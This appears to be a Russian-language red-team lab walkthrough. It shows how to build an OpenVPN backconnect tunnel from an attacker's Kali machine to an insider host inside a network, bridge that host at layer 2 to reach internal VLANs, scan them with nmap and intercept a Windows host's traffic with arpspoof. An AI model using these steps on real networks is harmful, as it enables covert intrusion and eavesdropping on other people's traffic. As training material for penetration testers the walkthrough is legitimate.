---
# System prepended metadata

title: BackConnect VPN Tunnel - немного попотеть

---

# BackConnect VPN Tunnel - немного попотеть

Проникаем во внутрь инфраструктуры используя ***BackConnect VPN Tunnel*** основываясь на ***OpenVPN***

Первый способ: Построим ***VPN Tunnel*** на уровне **L3** (как будто стоит маршрутизатор)
Второй способ: Построим ***VPN Tunnel*** на уровне **L2** (как будто стоит коммутатор) - для того чтобы мы могли перехватывать *ARPs*

## VPN Tunnel L3

### Устанавливаем **OpenVPN Server** на нашу машину которая будет выступать в роли сервака злоумышленника, в нашем случае будем использовать машину с **ОС Debian**

1. Настраиваем на машине сеть и получаем IP address;
2. Для удобства переименовываем машину
> `nano /etc/hostname` - OVPN-SRV
> `nano /etc/hosts` - 127.0.0.1 localhost, 127.0.1.1 OVPN-SRV
После этого ребутаем машинку
3. Обновляем машинку - apt update, apt upgrade
4. Для удобства подключаемся к нашей машине по SSH c хостовой тачки
> `ssh root@ip_addr_ovpn-srv`
5. Для того чтобы установить ***OpenVPN Server*** скачиваем проверенный скрипт быстрой установки - https://github.com/angristan/openvpn-install
> если на ***OVPN-SRV*** нет ***curl*** то устанавливаем его
> `apt install curl`
> 
> Теперь скачиваем непосредственно сам ***скрипт*** и делаем его ***исполняемым***
> `curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh`
> `chmod +x openvpn-install.sh`
> 
> Запускаем скрипт
> `./openvpn-install.sh`
> 
> ***На первом*** этапе должен быть указан **IP address** который имеет наш интерфейс
> ***На втором*** этапе меняем на **IP address** который указан в ***первом этапе***
> 
> **IPv6 support (NAT)** [y/n]: **n**
> **Port choice** [1-3]: **1**
> **Protocol** [1-2]: **1**
> **DNS** [1-12]: **11**
> **Enable compression?** [y/n]: **n**
> **Customize encryption settings?** [y/n]: **n**
> 
> *Данные настройки дефолтные, для более тонкой настройки необходимо будет изучить опции*
> ![](https://i.imgur.com/cchWi3P.png)
> 
> После того как скрипт закончит установку, запросит создание клиент профиль **client name:**
> Первый клиент у нас будет на машине ***злоумышленника*** - это ***Kali Linux***
> ![](https://i.imgur.com/XCY5Mjl.png)
> **Add a passwordless client** - для того чтобы автоматически подключался, без пароля.
> Это потому что мы используем для взлома, но например для сотрудников организации обязательно поставить двухфакторку.
> 

---

> Добавим еще один клиент профиль который будет на машине инсайдера:
> **Запускаем скрипт** - **`./openvpn-install.sh`**
> **Добавим профиль** - Add a new user
> **Указываем имя** - client name:
> **Пропускаем без пароля** - Add a passwordless client
> 
> > ![](https://i.imgur.com/1WzBn7k.png)

6. Устанавливаем OpenVPN на машину инсайдера и злоумышленника
> `apt update`
> `apt install openvpn`

7. Переносим файл созданного юзера kali и юзера inside на соответствующие машины
> `scp root@ip_addr_ovpn-srv:/root/kali.ovpn ./kali.conf` - на машине ***Kali Linux***
> `scp root@ip_addr_ovpn-srv:/root/inside.ovpn ./inside.conf` - на машине ***Debian(инсайдер)***

8. Перед запуском OpenVPN необходимо поправить серверный конфиг, чтобы работало все не по дефолту
> На OpenVPN Server - машина ***OVPN-SRV*** 
> `nano /etc/openvpn/server.conf`
> 
> Комментим строки push*
> > ![](https://i.imgur.com/ZzIhCxI.png)
> 
> И в самом низу добавляем строку
> `client-to-client`
> Это нужно для того чтобы клиенты видели трафик между собой
> Иначе, после подключения клиентов к OpenVPN Server, при пинге одного клиента с другого, пинг будет редиректить к серверу
> 
> Сохраняем и перезагружаем сервис
> `service openvpn restart`

9. Отредактируем конфиги клиентов
> `nano ./kali.conf`
> `nano ./inside.conf`
> 
> Комментим строки как на скрине
> > ![](https://i.imgur.com/wjwOIX5.png)

10. Коннектимся с обоих клиентов до ***OVPN-SRV***
> `openvpn --config kali.conf`
> `openvpn --config inside.conf`
> 
> проверяем пинги с одного клиента до другого
> > ![](https://i.imgur.com/0Zgc5T5.png)

Мы добрались с Kali через сервер OVPN-SRV к Debian(инсайдер) машине которая находится внутри сети.

Теперь нам необходимо добраться до всей сети

11. Используем статическую маршрутизацию и прописываем маршрут на Kali Linux, указываем сеть и через что мы идем (IP тунеля на машине инсайдера)
> `ip route add 192.168.100.0/24 via 10.8.0.3`

12. Для того чтобы видеть сеть за клиентом, нам необходимо создать файлик с именем клиента на сервере. Данный подводный камень только в ***OpenVPN L3***, в ***L2*** такого нет.
> На сервере OVPN-SRV переходим в директорию ***ccd***
> `cd /etc/openvpn/ccd/`
> 
> Создаем файл
> `nano inside`
> 
> Прописываем внутри
> `iroute 192.168.100.0 255.255.255.0`
> 
> рестартуем openvpn
> `service openvpn restart`
> 
> Переподключаемся с клиентов до OpenVPN
> `openvpn --config kali.conf`
> `openvpn --config inside.conf`

13. Для того чтобы ***не слетал маршрут*** после перезапуска нашего клиента Kali Linux, создадим конфиг в директории ***ccd*** на сервере OVPN-SRV
> `cd /etc/openvpn/ccd/`
> 
> Создаем файл
> `nano kali`
> 
> Прописываем
> `push "route 192.168.100.0 255.255.255.0 10.8.0.3"`

14. Для того чтобы достучаться до фаервола с клиента Kali Linux, необходимо прописать NAT на клиенте Debian(инсайдер)
> `iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`
> 
> Теперь мы можем пропинговать фаервол и зайти на него)



---

С помощью применения небольшой магии, мы можем теперь сканить сеть и попробовать что-то сломать :male_mage: 


---

## VPN Tunnel L2

Автоматизируем систему связанную с OpenVPN, сделаем так чтобы при запуске машинки клиента OpenVPN-client, запускался сам OpenVPN

Правила iptables которые использовали при подключении через L3, надо будет убрать, тут они нам не понадобятся 

1. Ставим в автозагрузку openvpn
> `systemctl enable openvpn`
> 
> Переместим с корневой директории конфиг **inside.conf** в ***/etc/openvpn/***
> `mv inside.conf /etc/openvpn/`
> 
> Расскоментим команду AUTOSTART="all" в `/etc/default/openvpn` для того чтобы он стартовал все конфиг файлы находящиеся в /etc/openvpn/
> >![](https://i.imgur.com/N60BoOe.png)
> 
> ребутаем машинку - `reboot`
> 
> Смотрим `ip a` 
> У нас должен подняться tun0 интерфейс
> >![](https://i.imgur.com/dXL2gJZ.png)

2. Делаем чтобы OpenVPN-client коннектился не IP туннелем до **OVPN-SRV**, а Ethernet туннелем то есть на уровне L2
> Закоментим строчку **dev tun** и добавим **dev tap** в кофиге на ***OVPN-SRV***
> `nano /etc/openvpn/server.conf`
> 
> >![](https://i.imgur.com/C7MwSnB.png)
> 
> Перезапускаем сервис
> `service openvpn restart`
> 
> Тоже самое делаем и на клиентах
> `nano /etc/openvpn/inside.conf` - на инсайдере
> `nano /etc/openvpn/kali.conf` - на нашей кали
> `service openvpn restart`
> 
> После рестарта сервиса, появится интерфейс tap0
> >![](https://i.imgur.com/uEVso2A.png)
> 
> > Мы настроили OpenVPN так как будто бы клиенты внешний и внутренний подключены проводочком к коммутатору и находяться в одной сети

3. Теперь сделаем так, чтобы клиент инсайдер бридживал сеть :male_mage: 
> Для этого нам необходимо будет установить ***bridge-utils*** на ***машину инсайдера***
> > **`apt install bridge-utils`**
> > 
> > Эта утилита позволит нам **забридживать** виртуальный интерфейс **tap0** и интерфейс **ens3**, эти два интерфейса между собой будут как будто бы связаны в одном коммутаторе.
> > Весь трафик который будет идти **внутри инфраструктуры**, так же будет уходить и в **tap0** интерфейс
> > Так же мы сможем проникнуть в любой **VLAN**, если у нас будет транковый порт через систему инсайдера
> 
> Приступим к настройке и сделаем так чтобы tap0 и ens3 были в бридже
> `nano /etc/network/interfaces`
> > ![](https://i.imgur.com/SB30qFH.png)
> > * Поднимаем интерфейс tap0
> > * В интерфейсах **tap0** и **ens3** указываем ***inet manul***, так как они являются элементами моста
> > * Поднимаем интерфейс моста **br0**, указываем что ***IP*** будет получен по ***DHCP*** и портами этого моста будут наши интерфейсы **ens3** и **tap0**
> > * Интерфейсы виланов нам пока не нужны, их закоментим
> > * Ребутаем машину чтобы закоменченные интерфейсы нам не мешали
> > * Так как сначала стартует сеть а потом уже OpenVPN, то интерфейс tap0 не имеет **master br0**, необходимо рестартануть сеть `service networking restart`
> > > Для того чтобы автоматизировать эту часть, и не перезагружать сеть в ручную, пропишем скрипт
> > > Добавим пару строк в **/etc/openvpn/inside.conf**
> > > * script-security 2
> > > * up /etc/openvpn/up.sh
> > > 
> > > > ![](https://i.imgur.com/hBVAyt2.png)
> > > 
> > > Редактируем скрипт **nano /etc/openvpn/up.sh**
> > > 
> > > > ![](https://i.imgur.com/IpbDdwO.png)
> > > 
> > > Делаем скрипт исполняемым **`chmod +x /etc/openvpn/up.sh`**
> > > :mage:
>
> Переходим к :skull: Kali Linux и добавим IP внутренней сети к интерфейсу tap0
> > Например - `ip addr add 192.168.100.55/24 dev tap0`
> > 
> > ![](https://i.imgur.com/2P68Fnh.png)
> 
> Смотрим **`ip route`**, и если есть роут на ***192.168.100.0/24 via 10.8.0.3 dev tap0*** то удаляем его
> > ![](https://i.imgur.com/uIWBjHz.png)
> > 
> > `ip route delete 192.168.100.0/24`
> 
> Пропингуем **firewall** и посмотрим через **wireshark** прилетают ли нам **ARPs**
> > `ping 192.168.100.254`
> > ![](https://i.imgur.com/8b9WWL8.png)
> > 
> > ![](https://i.imgur.com/QEB5bEX.png)

4. Настроим sub интерфейсы на :skull: Kali Linux
> `nano /etc/network/interfaces`
>
>  > ![](https://i.imgur.com/bLZhUC8.png)
>  
>  Добавим на tap0.10 интерфейс айпишник с VLAN-10
>  Например - `ip addr add 192.168.10.53/24 dev tap0.10`
>  Проверим пинг - `ping 192.168.10.254`
> > ![](https://i.imgur.com/Z4P85DL.png)
> 
> Пробуем посканить сеть через nmap
> `nmap 192.168.10.0/24 -v`
> > ![](https://i.imgur.com/SWrD7qT.png)
> 
>  Попробуем перехватить трафик с Win7 машинки 192.168.10.10 перехватить трафик (**arpspoof**)
> > Для того чтобы работал ***ARP spoof*** на :skull: Kali Linux в **/etc/sysctl.conf** должен быть включен **net.ipv4.ip_forward=1**
> 
> При атаке ARP spoofing необходимо заменить дефолтный **gateway** в **`ip route`**
> > `ip route delete default`
> > 
> > И добавляем gateway VLAN-10
> > `ip route add default via 192.168.10.254`
> > 
> > Либо же настроить игнорирование изменения шлюза в конфиге OpenVPN
> 
> Запускаем атаку ARP spoofing
>  `arpspoof -i tap0.10 -t 192.168.10.10 -r 192.168.10.254`
> 
> И с помощью например wireshark ловим пакеты
> 

:male_mage:





